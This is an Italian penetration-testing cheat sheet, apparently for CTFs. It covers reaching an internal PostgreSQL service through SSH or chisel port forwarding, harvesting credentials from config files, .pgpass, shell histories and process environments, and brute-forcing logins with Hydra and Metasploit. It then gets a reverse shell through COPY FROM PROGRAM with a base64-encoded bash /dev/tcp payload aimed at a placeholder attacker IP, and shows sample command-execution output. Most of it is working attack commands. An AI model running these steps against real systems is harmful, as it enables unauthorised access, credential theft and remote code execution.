tags: port_forwarding privilage_escalation PortForwarding_PrivEsc


Quando si effettua l’accesso ad una macchina e si vede un servizio interno che gira su una determinata porta come per esempio PostgreSQL (guarda come fare su questa pagina Quali servizi interni girano?) possiamo provare ad accedere a quel determinato servizio tramite il trucco del port forwarding.

Quindi ipotizziamo che la porta in questione sia la 5432 e che abbiamo accesso alla macchina tramite il servizio SSH sulla porta 22.

Dalla nostra macchina attaccante lanciamo il seguente comando:

ssh -L 5432:127.0.0.1:5432 [email protected]

Ora la porta 5432 della tua macchina è collegata direttamente alla 5432 della vittima (Ti aprirà comunque una shell ssh, ma a noi non interessa, la devi solo lasciare aperta).

Nel caso non avessimo accesso al servizio SSH, ma possedessimo comunque una reverse shell potremmo utilizzare questo strumento sempre dalla nostra macchina attaccante per fare la stessa cosa:

./chisel client IP_ATTACCANTE:8000 R:5432:127.0.0.1:5432

Ora che abbiamo collegato la nostra porta con quella della macchina vittima è come se avessimo il database in questione sulla nostra macchina locale, quindi possiamo provare ad entrare nel database con le stesse credenziali di ssh per cominciare:

psql -h 127.0.0.1 -U christine

Credenziali

Se sulla macchina gira un servizio PostgreSQL, al 99% esiste un’applicazione (sito web, backend API) che lo utilizza. Questa applicazione deve autenticarsi, quindi le credenziali sono salvate in chiaro (“hardcoded”) nei file di configurazione.

Dove cercare: Solitamente in /var/www/html o /opt.

File comuni da cercare:

  • config.php (PHP/CMS standard)

  • .env (Laravel, Node.js, Docker - molto comune)

  • settings.py (Django/Python)

  • database.yml (Ruby on Rails)

  • wp-config.php (WordPress)

Comandi di ricerca rapida:

 
# Cerca ricorsivamente stringhe comuni nella cartella web
grep -rnE "password|user|host|db" /var/www/html/ 2>/dev/null
 
# Cerca file .env nascosti (spesso contengono DB_PASSWORD)
find /var/www -name ".env" 2>/dev/null
 
#PostgreSQL permette agli utenti di salvare le password in un file nascosto nella loro home directory per evitare di doverle digitare ogni volta. Questo file è una miniera d'oro.
 
cat /home/*/.pgpass 2>/dev/null 
 
cat /var/lib/postgresql/.pgpass 2>/dev/null
 
#Spesso gli amministratori o gli sviluppatori si connettono al DB da riga di comando passando la password come argomento o settando variabili d'ambiente temporanee, e questi comandi rimangono salvati nella cronologia.
 
grep -i "password" /home/*/.bash_history 2>/dev/null 
 
cat /home/*/.psql_history 2>/dev/null
 
# In ambienti containerizzati o moderni, le password vengono passate come variabili d'ambiente al processo.
 
env
 
# Oppure controlla le variabili di altri processi (se hai i permessi)
 
cat /proc/*/environ | tr '\0' '\n' | grep -i "PASS"
 
#Cerca file con estensioni che suggeriscono un backup del database. Spesso i dump SQL contengono dati sensibili o le credenziali di creazione utente all'inizio del file.
 
find / -name "*.sql" -o -name "*.bak" -o -name "*.dump" 2>/dev/null
 

Bruteforce

Questa è proprio l’ultima spiaggia in ambienti reali, ma nelle ctf può tornare molto utile.

Hydra

 
# Sintassi: hydra -l [UTENTE] -P [LISTA_PASSWORD] -s [PORTA] [IP] [PROTOCOLLO] 
 
hydra -l postgres -P /usr/share/wordlists/rockyou.txt -s 5432 127.0.0.1 postgres
 

Metasploit Framework

msfconsole
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 127.0.0.1
set RPORT 9999
set USERNAME postgres
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run

Reverse Shell

Una volta entrati per prima cosa possiamo provare a lanciare il seguente comando per vedere quali permessi abbiamo:

 
\du
 
-- Oppure
 
SELECT current_user, usename, usesysid, usecreatedb, usesuper FROM pg_user;
 

Se l’utente ha privilegi di admin (usesuper), puoi eseguire comandi di sistema direttamente dal database sfruttando il comando COPY.

Dalla nostra macchina attaccante lanciamo il seguente comando per creare il payload della reverse shell:

echo "bash -c 'bash -i >& /dev/tcp/TUO_IP_VPN/4444 0>&1'" | base64

Ci mettiamo in ascolto sulla porta immessa prima:

nc -lvnp 4444

Ora torniamo sulla shell di postgreSQL e lanciamo il seguente comando:

 
CREATE TABLE cmd_exec(cmd_output text);
 
-- Esecuzione Reverse Shell
-- Sostituisci la stringa sotto con quella generata al punto 2
 
COPY cmd_exec FROM PROGRAM 'echo INCOLLA_QUI_BASE64 | base64 -d | bash';
 

Dopo aver lanciato questo comando dovrebbe apparirci una shell di postgres sul terminale in ascolto.

RCE

-- 1. Crea una tabella per ospitare l'output del comando
CREATE TABLE command_exec(output text);
 
-- 2. Esegui un comando di sistema (es. 'id' o 'ls /root')
COPY command_exec FROM PROGRAM 'id';
 
-- 3. Leggi l'output
SELECT * FROM command_exec;
 
-- 4. Pulisci (opzionale ma consigliato)
DROP TABLE command_exec;

Esempio

 
christine=# CREATE TABLE command_exec(output text);
CREATE TABLE
christine=# COPY command_exec FROM PROGRAM 'id';
COPY 1
christine=# SELECT * FROM command_exec;
                                 output                                 
------------------------------------------------------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
(1 row)